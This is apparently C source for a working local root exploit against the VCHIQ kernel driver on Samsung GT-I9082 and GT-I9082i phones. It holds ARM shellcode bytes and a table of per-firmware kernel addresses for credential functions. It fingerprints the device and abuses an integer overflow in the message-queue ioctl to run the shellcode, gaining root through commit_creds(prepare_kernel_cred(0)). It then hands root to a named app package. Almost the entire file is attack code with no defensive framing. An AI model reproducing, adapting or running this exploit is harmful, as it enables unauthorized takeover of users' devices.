#include <stdio.h>
#include <linux/ioctl.h>
/*
 only samsung i9082 kernel source header macro define is ok
 a kernel integer overflow
 */

//#define DEBUG
#ifdef DEBUG
#define printff    printf
#else
#define printff(...)
#endif

#define SYS_NMLN 65

#define MAX_ELEMENTS 8

#define VCHIQ_IOC_MAGIC 0xc4
#define VCHIQ_INVALID_HANDLE -1

typedef unsigned int VCHIQ_SERVICE_HANDLE_T;

typedef struct vchiq_config_struct {
	int max_msg_size;
	int bulk_threshold; /* The message size aboce which it is better to use
	 a bulk transfer (<= max_msg_size) */
	int max_outstanding_bulks;
	int max_services;
	short version; /* The version of VCHIQ */
	short version_min; /* The minimum compatible version of VCHIQ */
} VCHIQ_CONFIG_T;

typedef struct vchiq_header_struct {
	/* The message identifier - opaque to applications. */
	int msgid;
	/* Size of message data. */
	unsigned int size;
	char data[0]; /* message */
} VCHIQ_HEADER_T;

typedef enum {
	VCHIQ_ERROR = -1, VCHIQ_SUCCESS = 0, VCHIQ_RETRY = 1
} VCHIQ_STATUS_T;

typedef enum {
	VCHIQ_SERVICE_OPENED, /* service, -, - */
	VCHIQ_SERVICE_CLOSED, /* service, -, - */
	VCHIQ_MESSAGE_AVAILABLE, /* service, header, - */
	VCHIQ_BULK_TRANSMIT_DONE, /* service, -, bulk_userdata */
	VCHIQ_BULK_RECEIVE_DONE, /* service, -, bulk_userdata */
	VCHIQ_BULK_TRANSMIT_ABORTED, /* service, -, bulk_userdata */
	VCHIQ_BULK_RECEIVE_ABORTED /* service, -, bulk_userdata */
} VCHIQ_REASON_T;

typedef enum {
	VCHIQ_SERVICE_OPTION_AUTOCLOSE,
	VCHIQ_SERVICE_OPTION_SLOT_QUOTA,
	VCHIQ_SERVICE_OPTION_MESSAGE_QUOTA,
	VCHIQ_SERVICE_OPTION_SYNCHRONOUS
} VCHIQ_SERVICE_OPTION_T;

typedef enum {
	VCHIQ_BULK_MODE_CALLBACK,
	VCHIQ_BULK_MODE_BLOCKING,
	VCHIQ_BULK_MODE_NOCALLBACK,
	VCHIQ_BULK_MODE_WAITING /* Reserved for internal use */
} VCHIQ_BULK_MODE_T;

typedef VCHIQ_STATUS_T (*VCHIQ_CALLBACK_T)(VCHIQ_REASON_T, VCHIQ_HEADER_T *,
		VCHIQ_SERVICE_HANDLE_T, void *);

typedef struct vchiq_service_params_struct {
	int fourcc;
	VCHIQ_CALLBACK_T callback;
	void *userdata;
	short version; /* Increment for non-trivial changes */
	short version_min; /* Update for incompatible changes */
} VCHIQ_SERVICE_PARAMS_T;

typedef struct {
	const void *data;
	int size;
} VCHIQ_ELEMENT_T;

typedef struct {
	VCHIQ_SERVICE_PARAMS_T params;
	int is_open;
	int is_vchi;
	int handle; /* OUT */
} VCHIQ_CREATE_SERVICE_T;
typedef struct {
	int handle;
	int count;
	const VCHIQ_ELEMENT_T *elements;
} VCHIQ_QUEUE_MESSAGE_T;
typedef struct {
	int handle;
	void *data;
	int size;
	void *userdata;
	VCHIQ_BULK_MODE_T mode;
} VCHIQ_QUEUE_BULK_TRANSFER_T;
typedef struct {
	VCHIQ_REASON_T reason;
	VCHIQ_HEADER_T *header;
	void *service_userdata;
	void *bulk_userdata;
} VCHIQ_COMPLETION_DATA_T;
typedef struct {
	int count;
	VCHIQ_COMPLETION_DATA_T *buf;
	int msgbufsize;
	int msgbufcount; /* IN/OUT */
	void **msgbufs;
} VCHIQ_AWAIT_COMPLETION_T;
typedef struct {
	int handle;
	int blocking;
	int bufsize;
	void *buf;
} VCHIQ_DEQUEUE_MESSAGE_T;
typedef struct {
	int config_size;
	VCHIQ_CONFIG_T *pconfig;
} VCHIQ_GET_CONFIG_T;
typedef struct {
	int handle;
	VCHIQ_SERVICE_OPTION_T option;
	int value;
} VCHIQ_SET_SERVICE_OPTION_T;
typedef struct {
	void *virt_addr;
	size_t num_bytes;
} VCHIQ_DUMP_MEM_T;

#define VCHIQ_IOC_CONNECT _IO(VCHIQ_IOC_MAGIC, 0)
#define VCHIQ_IOC_SHUTDOWN _IO(VCHIQ_IOC_MAGIC, 1)
#define VCHIQ_IOC_CREATE_SERVICE \
_IOWR(VCHIQ_IOC_MAGIC, 2, VCHIQ_CREATE_SERVICE_T)
#define VCHIQ_IOC_REMOVE_SERVICE _IO(VCHIQ_IOC_MAGIC, 3)
#define VCHIQ_IOC_QUEUE_MESSAGE \
_IOW(VCHIQ_IOC_MAGIC, 4, VCHIQ_QUEUE_MESSAGE_T)
#define VCHIQ_IOC_QUEUE_BULK_TRANSMIT \
_IOWR(VCHIQ_IOC_MAGIC, 5, VCHIQ_QUEUE_BULK_TRANSFER_T)
#define VCHIQ_IOC_QUEUE_BULK_RECEIVE \
_IOWR(VCHIQ_IOC_MAGIC, 6, VCHIQ_QUEUE_BULK_TRANSFER_T)
#define VCHIQ_IOC_AWAIT_COMPLETION \
_IOWR(VCHIQ_IOC_MAGIC, 7, VCHIQ_AWAIT_COMPLETION_T)
#define VCHIQ_IOC_DEQUEUE_MESSAGE \
_IOWR(VCHIQ_IOC_MAGIC, 8, VCHIQ_DEQUEUE_MESSAGE_T)
#define VCHIQ_IOC_GET_CLIENT_ID _IO(VCHIQ_IOC_MAGIC, 9)
#define VCHIQ_IOC_GET_CONFIG \
_IOWR(VCHIQ_IOC_MAGIC, 10, VCHIQ_GET_CONFIG_T)
#define VCHIQ_IOC_CLOSE_SERVICE _IO(VCHIQ_IOC_MAGIC, 11)
#define VCHIQ_IOC_USE_SERVICE _IO(VCHIQ_IOC_MAGIC, 12)
#define VCHIQ_IOC_RELEASE_SERVICE _IO(VCHIQ_IOC_MAGIC, 13)
#define VCHIQ_IOC_SET_SERVICE_OPTION \
_IOW(VCHIQ_IOC_MAGIC, 14, VCHIQ_SET_SERVICE_OPTION_T)
#define VCHIQ_IOC_DUMP_PHYS_MEM \
_IOW(VCHIQ_IOC_MAGIC, 15, VCHIQ_DUMP_MEM_T)
#define VCHIQ_IOC_MAX 15

struct utsname {
	char sysname[SYS_NMLN]; //linux
	char nodename[SYS_NMLN]; //locolhost
	char release[SYS_NMLN];  //3.4.4xxx
	char version[SYS_NMLN];  //#1 #SMPxxx
	char machine[SYS_NMLN];   //armv7
	char domainname[SYS_NMLN];   //localdomain
};

typedef struct _sam {
	char band[64];
	char model[64];
	char buildno[64];
	char version[64];
	int (*prepare_kernel_cred)(unsigned int);
	void (*commit_creds)(unsigned int);
	unsigned int offset;
	unsigned int element_count;
	unsigned int unknow;
} sam;

struct payload {
	unsigned char shellcode[28];
	int (*rootproc)(sam* sam);
	sam** argument;
};
/*
 __data_start                            ; DATA XREF: prepare_shellcode+40o
 .data:00007214                                                           ; .text:off_17F8o ...
 .data:00007214 18 00 9F E5                       LDR     R0, dword_7234
 .data:00007218 00 00 90 E5                       LDR     R0, [R0]
 .data:0000721C 0C 40 9F E5                       LDR     R4, off_7230
 .data:00007220 34 FF 2F E1                       BLX     R4
 .data:00007224 00 D0 8D E0                       ADD     SP, SP, R0
 .data:00007228 00 00 A0 E3                       MOV     R0, #0
 .data:0000722C F0 8F BD E8                       LDMFD   SP!, {R4-R11,PC}
 .data:0000722C                   ; End of function __data_start

 .data:00007230 00 00 00 00       off_7230        DCD 0                   ; DATA XREF: prepare_shellcode+4Cw
 .data:00007230                                                           ; __data_start+8r
 .data:00007234 00 00 00 00       dword_7234      DCD 0                   ; DATA XREF: prepare_shellcode+50w
 .data:00007234                                                           ; __data_startr                                                    ; __data_startr
 */

sam* g_match = 0;
sam matchsam = { 0 };
struct payload code = { 0x18, 0x00, 0x9F, 0xE5, 0x00, 0x00, 0x90, 0xE5, 0x0C,
		0x40, 0x9F, 0xE5, 0x34, 0xFF, 0x2F, 0xE1, 0x00, 0xD0, 0x8D, 0xE0, 0x00,
		0x00, 0xA0, 0xE3, 0xF0, 0x8F, 0xBD, 0xE8, 0x00, 0x00 };

sam sam_all[] = {
		{ "Samsung", "GT-I9082", "3.0.31-1503837","#1 SMP PREEMPT Fri Jan 17 17:13:35 KST 2014", 0xc00cb164, 0xc00ca9ac,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082", "3.0.31-1528558","#1 SMP PREEMPT Sat Mar 15 00:11:56 KST 2014", 0xc00cb164, 0xc00ca9ac,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082", "3.0.31-1040525","#1 SMP PREEMPT Tue Apr 2 11:57:05 KST 2013", 0xc00cad98, 0xc00ca5e0,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082i", "3.0.31-1503837","#1 SMP PREEMPT Fri Jan 17 17:14:22 KST 2014", 0xc00cb164, 0xc00ca9ac,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082i", "3.0.31-1528558",	"#1 SMP PREEMPT Sat Mar 15 12:44:45 KST 2014", 0xc00cb164, 0xc00ca9ac,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082i", "3.0.31-1535682",	"#1 SMP PREEMPT Thu Apr 10 19:44:25 KST 2014", 0xc00cb164, 0xc00ca9ac,0x88, 0x80000011, 0x5c },
		{ "Samsung", "GT-I9082", "3.0.31-1530655",	"#1 SMP PREEMPT Thu Apr 10 21:54:31 KST 2014", 0xc00cb164, 0xc00ca9ac,	0x88, 0x80000011, 0x5c },
		//{ "Samsung", "GT-I9082", "3.0.31-1200721",	"#1 SMP PREEMPT Wed May 22 18:17:46 KST 2013", 0xc00cad9c, 0xc00ca5e4,0x88, 0x80000011, 0x5c },
};

int get_root(sam * a1) {
	int v1; // r0@1

	if (a1 && a1->prepare_kernel_cred && a1->commit_creds) {
		v1 = a1->prepare_kernel_cred(0);
		a1->commit_creds(v1);
		return a1->unknow;
	}
	return 0;
}

unsigned int prepare_shellcode() {
	unsigned char* v0; // r0@1
	unsigned char* v1; // r4@1

	v0 = (unsigned char*) malloc(0x2000);

	if (v0) {
		v1 = (unsigned int) (v0 + 0xFFF) & 0xFFFFF000;
		mprotect((void *) v1, 0x1000, 7);
		code.rootproc = get_root;
		code.argument = &g_match;
		memcpy(v1, &code, sizeof(code));
		return v1;
	}
	return 0;
}

int vchiq_exp_main() {
	int fd;
	struct utsname ut_sname;
	sam tmpsam;
	char phone_model[32] = { 0 };
	int n_phone_model_len = 0;
	unsigned char* pcode;
	unsigned char* pbuffer;
	VCHIQ_CREATE_SERVICE_T args = { 0 };
	VCHIQ_QUEUE_MESSAGE_T msg = { 0 };

	if (uname(&ut_sname) == -1) {
		return 1;
	} printff("%s %s %s %s\n", ut_sname.nodename, ut_sname.machine,
			ut_sname.version, ut_sname.release);
	__system_property_get("ro.product.model", phone_model);
	n_phone_model_len = strlen(phone_model);

	int i = 0;
	while (i < sizeof(sam_all) / sizeof(sam_all[0])) {
		int n_phone_release = 0;
		memcpy(&tmpsam, &sam_all[i], sizeof(sam));
		if (strlen(tmpsam.model) == n_phone_model_len) {
			n_phone_release = strlen(ut_sname.release);
			if (n_phone_release == strlen(tmpsam.buildno)
					&& !strncmp(phone_model, tmpsam.model, n_phone_model_len)
					&& !strncmp(tmpsam.buildno, ut_sname.release,
							n_phone_release)) {

				if (!strncmp(ut_sname.version, tmpsam.version,
						strlen(tmpsam.version))) {
					memcpy(&matchsam, &sam_all[i], sizeof(sam));
					g_match = &matchsam;
					break;

				}
			}
		}
		i++;
	}

	if (i >= sizeof(sam_all) / sizeof(sam_all[0]))
		return 1;

	pcode = prepare_shellcode();
	if (pcode) {
		fd = open("/dev/vchiq", 2);
		if (fd < 0)
			return 1;

		args.params.fourcc = 0x123;

		if (ioctl(fd, VCHIQ_IOC_CREATE_SERVICE, &args))
			return 2;

		msg.handle = args.handle;
		pbuffer = (unsigned char*) malloc(0x100);
		msg.elements = (VCHIQ_ELEMENT_T *) pbuffer;
		if (pbuffer) {
			memset(pbuffer, 0, 0x100);
			msg.count = g_match->element_count;
			*(unsigned int *) ((char *) msg.elements + g_match->offset - 4) =
					pcode;
			sleep(1);
			ioctl(fd, VCHIQ_IOC_QUEUE_MESSAGE, &msg);
			close(fd);
			free(pbuffer);

			if (!getuid()) {
				printff("succeed\n");
				return 0;
			}
		}
	}
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv) {
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt(atoi(argv[1]), argv[2], argv[3]);
}

int main(int argc, const char **argv) {
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

#ifndef DEBUG
	check_parent_pid();
#endif

	if (argc < 4)
		return 1;

	vchiq_exp_main();
	ret = (getuid() == 0);

	if (ret) {
		do_root(argc, argv);
	}
	return ret ? 0 : 1;
}

